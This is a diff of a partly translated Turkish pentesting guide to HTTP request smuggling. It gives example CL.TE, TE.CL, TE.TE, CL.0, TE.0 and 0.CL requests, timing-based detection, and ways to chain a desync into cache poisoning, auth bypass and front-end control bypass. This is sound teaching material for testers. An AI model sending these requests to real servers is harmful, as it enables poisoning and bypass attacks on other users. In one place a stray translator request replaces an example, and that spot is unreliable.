+Örneğin, bu durum AWS ALB'yi front-end, IIS'i backend olarak kullanırken desync'leri keşfetmeye izin verdi. Çünkü "Host: foo/bar" gönderildiğinde ALB `400, Server; awselb/2.0` döndürdü, ama "Host : foo/bar" gönderildiğinde `400, Server: Microsoft-HTTPAPI/2.0` döndürdü; bu backend'in yanıt gönderdiğini gösteriyordu. Bu bir Hidden-Visible (H-V) durumuydu.
+
+Bu durum AWS tarafında düzeltilmemiştir, ancak `routing.http.drop_invalid_header_fields.enabled` ve `routing.http.desync_mitigation_mode = strictest` ayarlanarak önlenebilir.
 
 ## Temel Örnekler
 
 > [!TIP]
-> Bunu Burp Suite ile istismar etmeye çalışırken repeater'da **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini devre dışı bırakın çünkü bazı gadgets yeni satırlar, carriage return'lar ve hatalı content-length değerlerinden kötüye yararlanır.
+> Bunu Burp Suite ile exploit etmeye çalışırken repeater'da **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini devre dışı bırakın çünkü bazı gadget'lar yeni satırlar, carriage return ve bozuk content-length'leri kullanır.
 
-HTTP request smuggling saldırıları, front-end ve back-end sunucuların `Content-Length` (CL) ve `Transfer-Encoding` (TE) header'larını nasıl farklı yorumladıklarındaki tutarsızlıklardan yararlanacak şekilde belirsiz istekler gönderilerek gerçekleştirilir. Bu saldırılar farklı formlarda ortaya çıkabilir; başlıca **CL.TE**, **TE.CL** ve **TE.TE** şeklindedir. Her tür, front-end ve back-end sunucuların bu header'lara hangi öncelikle yaklaştığının farklı bir kombinasyonunu temsil eder. Zafiyetler, her iki sunucunun aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü amaçlı sonuçlara yol açabilir.
+HTTP request smuggling saldırıları, front-end ve back-end sunucuların `Content-Length` (CL) ve `Transfer-Encoding` (TE) header'larını nasıl yorumladıklarındaki uyumsuzlukları kullanan belirsiz (ambiguous) istekler gönderilerek hazırlanır. Bu saldırılar başlıca **CL.TE**, **TE.CL** ve **TE.TE** olarak ortaya çıkar. Her tip, front-end ve back-end sunucularının bu header'lara nasıl öncelik verdiğinin benzersiz bir kombinasyonunu temsil eder. Açıklıklar, sunucuların aynı isteği farklı şekilde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.
 
-### Zafiyet Tiplerine Temel Örnekler
+### Açıklık Tiplerine Temel Örnekler
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 
 > [!TIP]
-> Önceki tabloya TE.0 tekniğini eklemelisiniz; CL.0 tekniğine benzer ancak Transfer-Encoding kullanır.
+> Önceki tabloya TE.0 tekniğini eklemelisiniz, CL.0 tekniğine benzer fakat Transfer-Encoding kullanır.
 
-#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
+#### CL.TE Açığı (Front-End tarafından Content-Length, Back-End tarafından Transfer-Encoding kullanılması)
 
 - **Front-End (CL):** İsteği `Content-Length` header'ına göre işler.
 - **Back-End (TE):** İsteği `Transfer-Encoding` header'ına göre işler.
 - **Saldırı Senaryosu:**
 
-- Attacker, `Content-Length` header değerinin gerçek içerik uzunluğu ile uyuşmadığı bir istek gönderir.
-- Front-end sunucusu `Content-Length` değerine dayanarak tüm isteği back-end'e iletir.
-- Back-end sunucusu `Transfer-Encoding: chunked` header'ı nedeniyle isteği chunked olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
+- Saldırgan, `Content-Length` header değerinin gerçek içerik uzunluğuyla uyuşmadığı bir istek gönderir.
+- Front-end sunucu, `Content-Length` değerine dayanarak tüm isteği back-end'e iletir.
+- Back-end sunucu `Transfer-Encoding: chunked` header'ını esas alarak isteği chunked olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
 - **Örnek:**
 
 ```
@@ -74,15 +90,15 @@ GET /404 HTTP/1.1
 Foo: x
 ```
 
-#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
+#### TE.CL Açığı (Front-End tarafından Transfer-Encoding, Back-End tarafından Content-Length kullanılması)
 
 - **Front-End (TE):** İsteği `Transfer-Encoding` header'ına göre işler.
 - **Back-End (CL):** İsteği `Content-Length` header'ına göre işler.
 - **Saldırı Senaryosu:**
 
-- Attacker, chunk boyutu (`7b`) ile gerçek içerik uzunluğu (`Content-Length: 4`) uyuşmayan bir chunked istek gönderir.
-- Front-end sunucusu `Transfer-Encoding`'i dikkate alarak tüm isteği back-end'e iletir.
-- Back-end sunucusu `Content-Length`'a göre yalnızca isteğin ilk bölümünü (`7b` byte) işler ve geri kalan, istem dışı bir sonraki isteğin parçası olarak kalır.
+- Saldırgan, chunk boyutu (`7b`) ile gerçek içerik uzunluğu (`Content-Length: 4`) uyumsuz olan chunked bir istek gönderir.
+- Front-end sunucu `Transfer-Encoding`e uyarak tüm isteği back-end'e iletir.
+- Back-end sunucu `Content-Length`i dikkate alarak sadece isteğin ilk kısmını (`7b` bayt) işler ve kalan kısmı istem dışı bir sonraki isteğin parçası olarak bırakır.
 - **Örnek:**
 
 ```
@@ -103,14 +119,14 @@ x=
 
 ```
 
-#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
+#### TE.TE Açığı (Her iki tarafın da Transfer-Encoding desteklediği, obfuskasyonla)
 
-- **Servers:** Her ikisi de `Transfer-Encoding`'i destekler, ancak biri obfuscation sayesinde bunu tanımamak üzere kandırılabilir.
+- **Sunucular:** Her iki taraf da `Transfer-Encoding`i destekler, fakat biri obfuskasyon nedeniyle bunu tanıyamayacak şekilde kandırılabilir.
 - **Saldırı Senaryosu:**
 
-- Attacker, obfuscate edilmiş `Transfer-Encoding` header'ları içeren bir istek gönderir.
-- Hangi sunucunun obfuscation'ı tanımadığına bağlı olarak, CL.TE veya TE.CL zafiyetlerinden biri sömürülebilir.
-- Bir sunucu tarafından işlenmeyen istek kısmı, sonraki bir isteğin parçası olur ve smuggling'e yol açar.
+- Saldırgan, obfuskasyon içeren `Transfer-Encoding` header'ları ile bir istek gönderir.
+- Hangi sunucunun (front-end veya back-end) obfuskasyonu tanımadığına bağlı olarak CL.TE veya TE.CL açığından biri kullanılabilir.
+- Bir sunucu tarafından işlenmeyen istek parçası, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.
 - **Örnek:**
 
 ```
@@ -130,10 +146,10 @@ Transfer-Encoding
 : chunked
 ```
 
-#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
+#### **CL.CL Senaryosu (Content-Length her iki tarafça kullanılıyor)**
 
 - Her iki sunucu da isteği yalnızca `Content-Length` header'ına göre işler.
-- Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucunun istek uzunluğunu yorumlamasında uyum vardır.
+- Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucu da isteğin uzunluğunu aynı şekilde yorumlar.
 - **Örnek:**
 
 ```
@@ -145,10 +161,10 @@ Connection: keep-alive
 Normal Request
 ```
 
-#### **CL.0 Scenario**
+#### **CL.0 Senaryosu**
 
-- `Content-Length` header'ının mevcut olduğu ve değeri sıfırdan farklı olduğu durumları ifade eder; bu, isteğin gövdesinde içerik olduğunu gösterir. Back-end `Content-Length` header'ını (0 olarak) yok sayar, ancak front-end bunu çözer.
-- Bu, sunucuların bir isteğin nerede bittiğini belirlemesini etkilediği için smuggling saldırılarını anlamak ve oluşturmak açısından kritiktir.
+- `Content-Length` header'ının mevcut olduğu ve sıfır olmayan bir değere sahip olduğu durumları ifade eder; bu, istek gövdesinin içerik barındırdığını gösterir. Back-end `Content-Length` header'ını yok sayar (sıfır olarak işlenir), fakat front-end bunu ayrıştırır.
+- Smuggling saldırılarını anlamak ve oluşturmak için önemlidir, çünkü sunucuların bir isteğin sonunu nasıl belirlediğini etkiler.
 - **Örnek:**
 
 ```
@@ -160,10 +176,10 @@ Connection: keep-alive
 Non-Empty Body
 ```
 
-#### TE.0 Scenario
+#### TE.0 Senaryosu
 
-- Öncekine benzer ancak TE kullanılarak yapılır.
-- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- Öncekine benzer ama TE kullanılarak yapılır.
+- Teknik [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Örnek**:
 ```
 OPTIONS / HTTP/1.1
@@ -182,33 +198,58 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
-#### Breaking the web server
+#### `0.CL` Senaryo
 
-This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
+Bir `0.CL` durumunda bir istek aşağıdaki gibi bir Content-Length ile gönderilir:
+```
+GET /Logon HTTP/1.1
+Host: <redacted>
+Content-Length:
+7
 
-For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
+GET /404 HTTP/1.1
+X: Y
+```
+Ve ön uç `Content-Length`'i dikkate almadığı için yalnızca ilk isteği backend'e gönderir (örnekte 7'ye kadar). Ancak backend `Content-Length`'i görür ve ön uç zaten yanıtı beklediği için asla gelmeyen bir gövdeyi bekler.
 
-#### Forcing via hop-by-hop headers
+Ancak, eğer backend'e gönderilebilecek ve isteğin gövdesi gelmeden yanıtlanan bir istek varsa, bu kilitlenme oluşmaz. Örneğin IIS'de bu, `/con` gibi yasaklı kelimelere gönderilen isteklerde olur (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), bu şekilde ilk istek doğrudan yanıtlanır ve ikinci istek mağdurun isteğini içerecektir:
+```
+GET / HTTP/1.1
+X: yGET /victim HTTP/1.1
+Host: <redacted>
+```
+Bu, bir desync'e neden olmak için kullanışlıdır, ancak bugüne kadar herhangi bir etkisi olmadı.
 
-Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
+Ancak yazı, bunun için **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** dönüştürme yoluyla bir çözüm sunuyor.
+
+#### Web sunucusunu bozma
+
+Bu teknik, başlangıç HTTP verileri okunurken **break a web server while reading the initial HTTP data** fakat **without closing the connection** mümkün olan senaryolarda da kullanışlıdır. Bu durumda, HTTP isteğinin **body**'si **next HTTP request** olarak kabul edilecektir.
+
+Örneğin, [**this writeup**](https://mizu.re/post/twisty-python)'de açıklandığı gibi, Werkzeug'te bazı **Unicode** karakterleri göndermek mümkündü ve bu sunucuyu **break** yapıyordu. Ancak eğer HTTP bağlantısı **`Connection: keep-alive`** başlığıyla oluşturulduysa, isteğin body'si okunmayacak ve bağlantı açık kalacaktır; bu yüzden isteğin **body**'si **next HTTP request** olarak değerlendirilecektir.
+
+#### Hop-by-hop headers ile zorlama
+
+Hop-by-hop headers'ı kötüye kullanarak proxy'ye **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse** talimatı verebilirsiniz.
 ```
 Connection: Content-Length
 ```
-For **hop-by-hop headers** hakkında daha fazla bilgi için ziyaret edin:
+Daha fazla bilgi için **hop-by-hop headers** hakkında bakınız:
+
 
 {{#ref}}
 ../abusing-hop-by-hop-headers.md
 {{#endref}}
 
-## HTTP Request Smuggling Tespiti
+## HTTP Request Smuggling'ı Bulma
 
-HTTP request smuggling zafiyetlerini tespit etmek genellikle zamanlama teknikleriyle mümkündür; bu teknikler, manipüle edilmiş isteklerin sunucunun yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanır. Bu yöntemler özellikle CL.TE ve TE.CL zafiyetlerini tespit etmek için uygundur. Bu yöntemlerin yanı sıra, böyle zafiyetleri bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:
+HTTP request smuggling zafiyetlerini tespit etmek sıklıkla zamanlama teknikleriyle yapılabilir; bu teknikler, sunucunun manipüle edilmiş isteklere yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanır. Bu teknikler özellikle CL.TE ve TE.CL zafiyetlerini tespit etmek için kullanışlıdır. Bu yöntemlerin yanı sıra, bu tür zafiyetleri bulmak için kullanılabilecek başka stratejiler ve araçlar da vardır:
 
-### Zamanlama Teknikleriyle CL.TE Zafiyetlerini Bulma
+### Zamanlama Teknikleri ile CL.TE Zafiyetlerini Bulma
 
 - **Yöntem:**
 
-- Eğer uygulama savunmasızsa, back-end sunucunun ek veri beklemesine yol açacak bir istek gönderin.
+- Uygulama zayıfsa, arka uç sunucusunun ek veri beklemesine neden olacak bir istek gönderin.
 - **Örnek:**
 
 ```
@@ -224,18 +265,18 @@ A
 ```
 
 - **Gözlem:**
-- Front-end sunucu isteği `Content-Length` bazında işler ve mesajı erken keser.
-- Back-end sunucu chunked bir mesaj beklediği için, gelmeyen sonraki chunk için bekler ve gecikmeye neden olur.
+- Ön uç sunucu isteği `Content-Length` temelinde işler ve mesajı erken keser.
+- Arka uç sunucu, chunked bir mesaj beklediği için hiçbir zaman gelmeyen bir sonraki chunk'ı bekler ve bu gecikmeye yol açar.
 
-- **Belirtiler:**
-- Zaman aşımı veya uzun yanıt gecikmeleri.
-- Back-end sunucudan 400 Bad Request hatası almak, bazen ayrıntılı sunucu bilgisiyle birlikte.
+- **Göstergeler:**
+- Yanıtta zaman aşımı veya uzun gecikmeler.
+- Arka uç sunucudan 400 Bad Request hatası almak, bazen detaylı sunucu bilgisi ile birlikte.
 
-### Zamanlama Teknikleriyle TE.CL Zafiyetlerini Bulma
+### Zamanlama Teknikleri ile TE.CL Zafiyetlerini Bulma
 
 - **Yöntem:**
 
-- Eğer uygulama savunmasızsa, back-end sunucunun ek veri beklemesine yol açacak bir istek gönderin.
+- Uygulama zayıfsa, arka uç sunucusunun ek veri beklemesine neden olacak bir istek gönderin.
 - **Örnek:**
 
 ```
@@ -250,41 +291,49 @@ X
 ```
 
 - **Gözlem:**
-- Front-end sunucu isteği `Transfer-Encoding` bazında işler ve tüm mesajı iletir.
-- Back-end sunucu `Content-Length` bazlı bir mesaj beklediği için, gelmeyen ek veriler için bekler ve gecikmeye neden olur.
+- Ön uç sunucu isteği `Transfer-Encoding` temelinde işler ve tüm mesajı iletir.
+- Arka uç sunucu `Content-Length` temelinde bir mesaj beklediği için hiçbir zaman gelmeyen ek verileri bekler ve gecikme oluşur.
 
 ### Zafiyetleri Bulmak İçin Diğer Yöntemler
 
-- **Diferansiyel Yanıt Analizi:**
-- İsteğin hafifçe değiştirilmiş versiyonlarını gönderin ve sunucu yanıtlarının beklenmeyen şekilde farklılaşıp farklılaşmadığını gözlemleyin; bu, bir parsing uyumsuzluğuna işaret edebilir.
-- **Otomatik Araçların Kullanımı:**
-- Burp Suite'in 'HTTP Request Smuggler' extension gibi araçlar, çeşitli belirsiz istek biçimlerini gönderip yanıtları analiz ederek bu zafiyetleri otomatik olarak test edebilir.
-- **Content-Length Farklılık Testleri:**
-- Gerçek içerik uzunluğuyla uyumlu olmayan farklı `Content-Length` değerleri gönderin ve sunucunun bu uyumsuzlukları nasıl ele aldığını gözlemleyin.
-- **Transfer-Encoding Varyans Testleri:**
-- Obfusk edilmiş veya bozuk `Transfer-Encoding` başlıkları içeren istekler gönderin ve front-end ile back-end sunucuların bu manipülasyonlara nasıl farklı tepki verdiğini izleyin.
+- **Farklı Yanıt Analizi:**
+- İsteğin biraz farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmeyen şekilde farklılaşıp farklılaşmadığını gözlemleyin; bu, bir ayrıştırma uyuşmazlığına işaret eder.
+- **Otomatik Araçlar Kullanmak:**
+- Burp Suite'in 'HTTP Request Smuggler' uzantısı gibi araçlar, çeşitli belirsiz istek biçimleri göndererek ve yanıtları analiz ederek bu zafiyetleri otomatik olarak test edebilir.
+- **Content-Length Değişkenlik Testleri:**
+- Gerçek içerik uzunluğuyla uyuşmayan farklı `Content-Length` değerleri içeren istekler gönderin ve sunucunun bu uyumsuzlukları nasıl ele aldığını gözlemleyin.
+- **Transfer-Encoding Değişkenlik Testleri:**
+- Obfuskasyona uğramış veya hatalı `Transfer-Encoding` başlıkları içeren istekler gönderin ve ön uç ile arka uç sunucuların bu manipülasyonlara nasıl farklı yanıt verdiğini izleyin.
+
+### `Expect: 100-continue` başlığı
+
+Bu başlığın bir http desync'i istismar etmede nasıl yardımcı olabileceğini inceleyin:
+
+{{#ref}}
+../special-http-headers.md
+{{#endref}}
 
 ### HTTP Request Smuggling Zafiyet Testi
 
-Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, client isteklerinin manipüle edilebildiğini teyit etmek önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi deneyerek bir istemcinin `/` isteğinin 404 döndürmesini sağlamaktır. Önceki CL.TE ve TE.CL örnekleri [Basic Examples](#basic-examples) bölümünde, istemci farklı bir kaynağa erişmeye çalışsa bile bir istemci isteğini zehirleyip 404 yanıtı elde etmenin nasıl yapılacağını göstermektedir.
+Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak çok önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin `/` için gönderilen bir isteğin 404 yanıtı üretmesini sağlamak. Daha önce [Basic Examples](#basic-examples) kısmında tartışılan `CL.TE` ve `TE.CL` örnekleri, istemcinin farklı bir kaynağa erişmeye çalışmasına rağmen istemci isteğini zehirleyerek 404 yanıtı elde etmenin nasıl yapılacağını gösterir.
 
 **Önemli Hususlar**
 
-Diğer isteklerle etkileşime girerek request smuggling testi yaparken aklınızda olması gerekenler:
+Başka isteklerle müdahale ederek request smuggling zafiyetlerini test ederken aklınızda bulundurun:
 
-- **Farklı Network Bağlantıları:** "Saldırı" ve "normal" istekler ayrı network bağlantıları üzerinden gönderilmelidir. Her ikisini de aynı bağlantı üzerinden göndermek zafiyetin varlığını doğrulamaz.
-- **Tutarlı URL ve Parametreler:** Her iki istek için de aynı URL ve parametre isimlerini kullanmaya çalışın. Modern uygulamalar sıklıkla URL ve parametrelere göre belirli back-end sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin de aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için gereklidir.
-- **Zamanlama ve Yarış Koşulları:** "Normal" istek, "saldırı" isteğinin müdahalesini tespit etmek için gönderilir ve diğer eşzamanlı uygulama istekleriyle yarışır. Bu yüzden "normal" isteği "saldırı" isteğini hemen takiben gönderin. Yoğun uygulamalarda kesin bir doğrulama için birden fazla deneme gerekebilir.
-- **Load Balancing Zorlukları:** Front-end sunucular load balancer gibi davranıyorsa, istekleri farklı back-end sistemlere dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse saldırı başarısız olur. Bu yük dengeleme durumu, bir zafiyeti doğrulamak için birden fazla deneme gerektirebilir.
-- **İstenmeyen Kullanıcı Etkisi:** Saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" istek dışındaki) etkilerse, bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test yapmak diğer kullanıcıları rahatsız edebileceğinden dikkatli olun.
+- **Ayrı Ağ Bağlantıları:** "attack" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her ikisi için aynı bağlantının kullanılması zafiyetin varlığını doğrulamaz.
+- **Tutarlı URL ve Parametreler:** Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle URL ve parametrelere göre istekleri belirli arka uç sunuculara yönlendirir. Bunların eşleşmesi, her iki isteğin aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için gerekli bir koşuldur.
+- **Zamanlama ve Yarış Durumları:** "Attack" isteğinden kaynaklanan müdahaleyi tespit etmek için gönderilen "normal" istek, uygulamadaki diğer eşzamanlı isteklerle yarışır. Bu nedenle "attack" isteğinin hemen ardından "normal" isteği gönderin. Yoğun uygulamalarda kesin bir doğrulama için birden fazla deneme gerekebilir.
+- **Load Balancing Zorlukları:** Load balancer görevi gören ön uç sunucular istekleri farklı arka uç sistemlerine dağıtabilir. Eğer "attack" ve "normal" istekler farklı sistemlere düşerse saldırı başarılı olmaz. Bu load balancing durumu, zafiyeti doğrulamak için birkaç deneme gerektirebilir.
+- **İstemeden Kullanıcı Etkisi:** Eğer saldırınız başka bir kullanıcının isteğini (tespit için gönderdiğiniz "normal" istek olmayan) kazara etkilerse, bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli testler diğer kullanıcıları rahatsız edebileceğinden dikkatli olunmalıdır.
 
 ## HTTP/1.1 pipelining artefaktları ile gerçek request smuggling'i ayırt etme
 
-Connection reuse (keep-alive) ve pipelining, aynı soket üzerinde birden fazla istek gönderen test araçlarında kolayca "smuggling" yanılsamaları üretebilir. Zararsız istemci tarafı artefaktlarını gerçek sunucu tarafı desync'inden ayırmayı öğrenin.
+Bağlantı yeniden kullanımı (keep-alive) ve pipelining, aynı soket üzerinde birden fazla istek gönderen test araçlarında kolayca "smuggling" yanılsamaları üretebilir. Zararsız istemci tarafı artefaktları ile gerçek sunucu tarafı desync'ini ayırt etmeyi öğrenin.
 
-### Neden pipelining klasik false positives üretir
+### Pipelining neden klasik false positive'lara yol açar
 
-HTTP/1.1 tek bir TCP/TLS bağlantısını yeniden kullanır ve istekleri/yanıtları aynı akış üzerinde ardışık olarak birleştirir. Pipelining'de client arka arkaya birden fazla istek gönderir ve sıralı yanıtlarla uyum bekler. Yaygın bir false-positive, hatalı CL.0-tarzı bir payload'ı tek bir bağlantıda iki kez yeniden göndermektir:
+HTTP/1.1 tek bir TCP/TLS bağlantısını yeniden kullanır ve istekleri ile yanıtları aynı akışta birleştirir. Pipelining'de istemci birden fazla isteği art arda gönderir ve sıralı yanıtlar almayı bekler. Yaygın bir false-positive durumu, bozuk bir CL.0 tarzı payload'u tek bir bağlantıda iki kez yeniden göndermektir:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -293,9 +342,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Çevirmem için src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini buraya yapıştırın.  
-
-Not: Kod, etiketler, linkler, dosya yolları ve teknik terimler (ör. HTTP request smuggling, pentesting, cloud/SaaS isimleri) çevrilmeyecek; geri kalan İngilizce metni Türkçeye çevireceğim.
+Çevirmemi istediğiniz src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini gönderin.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -309,7 +356,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Eğer sunucu bozuk `Content_Length` değerini yok saydıysa, FE↔BE desync olmaz. Reuse ile istemciniz aslında bu byte-stream'i gönderdi; sunucu bunu iki bağımsız istek olarak ayrıştırdı:
+Eğer server hatalı `Content_Length`'i yok saydıysa, FE↔BE desync olmaz. Reuse durumunda, client aslında bu byte-stream'i gönderdi; server bunu iki bağımsız requests olarak parse etti:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -323,42 +370,42 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: none. Sadece istemcinizi sunucu framing'inden desynced ettiniz.
+Impact: none. You just desynced your client from the server framing.
 
 > [!TIP]
-> Reuse/pipelining'e bağlı olan Burp modülleri: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
+> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
 
 ### Litmus tests: pipelining or real desync?
 
 1. Disable reuse and re-test
-- Burp Intruder/Repeater'da HTTP/1 reuse'u kapatın ve "Send group in sequence"i kullanmaktan kaçının.
-- Turbo Intruder'da `requestsPerConnection=1` ve `pipeline=False` ayarlayın.
-- Eğer davranış kaybolursa, muhtemelen client-side pipelining idi; bağlantı-locked/stateful hedefler veya client-side desync ile uğraşmıyorsanız bu geçerlidir.
+- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
+- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
+- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
 2. HTTP/2 nested-response check
-- Bir HTTP/2 isteği gönderin. Eğer response body tam bir nested HTTP/1 response içeriyorsa, saf bir client artefaktı yerine backend parsing/desync bug'ını kanıtlamış olursunuz.
+- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
 3. Partial-requests probe for connection-locked front-ends
-- Bazı FE'ler upstream BE bağlantısını yalnızca client kendi bağlantısını reuse ettiyse kullanır. FE davranışını tespit etmek için partial-requests kullanın; böylece FE'nin client reuse'unu yansıttığını gösterebilirsiniz.
-- Connection-locked tekniği için PortSwigger "Browser‑Powered Desync Attacks"e bakın.
+- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
+- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
 4. State probes
-- Aynı TCP bağlantısında ilk istek ile sonraki istekler arasındaki farklara bakın (first-request routing/validation).
-- Burp "HTTP Request Smuggler" içinde bu işlemi otomatikleştiren bir connection‑state probe bulunur.
+- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
+- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
 5. Visualize the wire
-- Deney yaparken bağlantı reuse ve partial requests ile birlikte konkatenasyon ve message framing'i doğrudan incelemek için Burp "HTTP Hacker" eklentisini kullanın.
+- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
 
 ### Connection‑locked request smuggling (reuse-required)
 
-Bazı front-end'ler upstream bağlantıyı yalnızca client onlarınkini reuse ettiğinde yeniden kullanır. Gerçek smuggling mevcut olabilir ama client-side reuse'a bağlıdır. Ayırt etmek ve etkiyi kanıtlamak için:
-- Server-side bug'ı kanıtlayın
-- HTTP/2 nested-response check'i kullanın, veya
-- FE'nin upstream'i yalnızca client reuse ettiğinde yeniden kullandığını göstermek için partial-requests kullanın.
-- Doğrudan cross-user socket suistimali engellense bile gerçek etkiyi gösterin:
-- Cache poisoning: desync yoluyla paylaşılan cache'leri zehirleyerek cevapların diğer kullanıcıları etkilemesini sağlayın.
-- Internal header disclosure: FE tarafından enjekte edilen header'ları (ör. auth/trust header'ları) yansıtıp auth bypass'a pivot edin.
-- Bypass FE controls: smuggled HTTP isteğiyle kısıtlı path/method'ları front-end'den geçirerek.
-- Host-header abuse: host routing tuhaflıkları ile birleştirip internal vhost'lara pivot yapın.
-- Operatör iş akışı
-- Kontrollü reuse ile yeniden üretin (Turbo Intruder `requestsPerConnection=2`, veya Burp Repeater tab group → "Send group in sequence (single connection)").
-- Ardından cache/header-`leak`/control-bypass primitiflerine zincirleyin ve cross-user veya yetkilendirme etkisini gösterin.
+Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
+- Prove the server-side bug
+- Use the HTTP/2 nested-response check, or
+- Use partial-requests to show the FE only reuses upstream when the client does.
+- Show real impact even if direct cross-user socket abuse is blocked:
+- Cache poisoning: desync aracılığıyla paylaşılan cache'leri zehirleyin, böylece responses diğer kullanıcıları etkiler.
+- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
+- Bypass FE controls: smuggle restricted paths/methods past the front-end.
+- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
+- Operator workflow
+- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
+- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
 
 > See also connection‑state attacks, which are closely related but not technically smuggling:
 >
@@ -368,9 +415,9 @@ Bazı front-end'ler upstream bağlantıyı yalnızca client onlarınkini reuse e
 
 ### Client‑side desync constraints
 
-Eğer browser-powered/client-side desync hedefliyorsanız, kötü niyetli istek tarayıcı tarafından cross-origin olarak gönderilebilir olmalıdır. Header obfuscation hileleri işe yaramaz. Navigation/fetch ile ulaşılabilen primitiflere odaklanın, sonra downstream bileşenlerin response'ları yansıtması veya cache'lemesi durumunda cache poisoning, header disclosure veya front-end kontrol atlatmaya pivot yapın.
+If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
 
-Arka plan ve uçtan uca iş akışları için:
+For background and end-to-end workflows:
 
 {{#ref}}
 browser-http-request-smuggling.md
@@ -378,21 +425,21 @@ browser-http-request-smuggling.md
 
 ### Tooling to help decide
 
-- HTTP Hacker (Burp BApp Store): düşük seviyeli HTTP davranışını ve socket konkatenasyonunu açığa çıkarır.
+- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
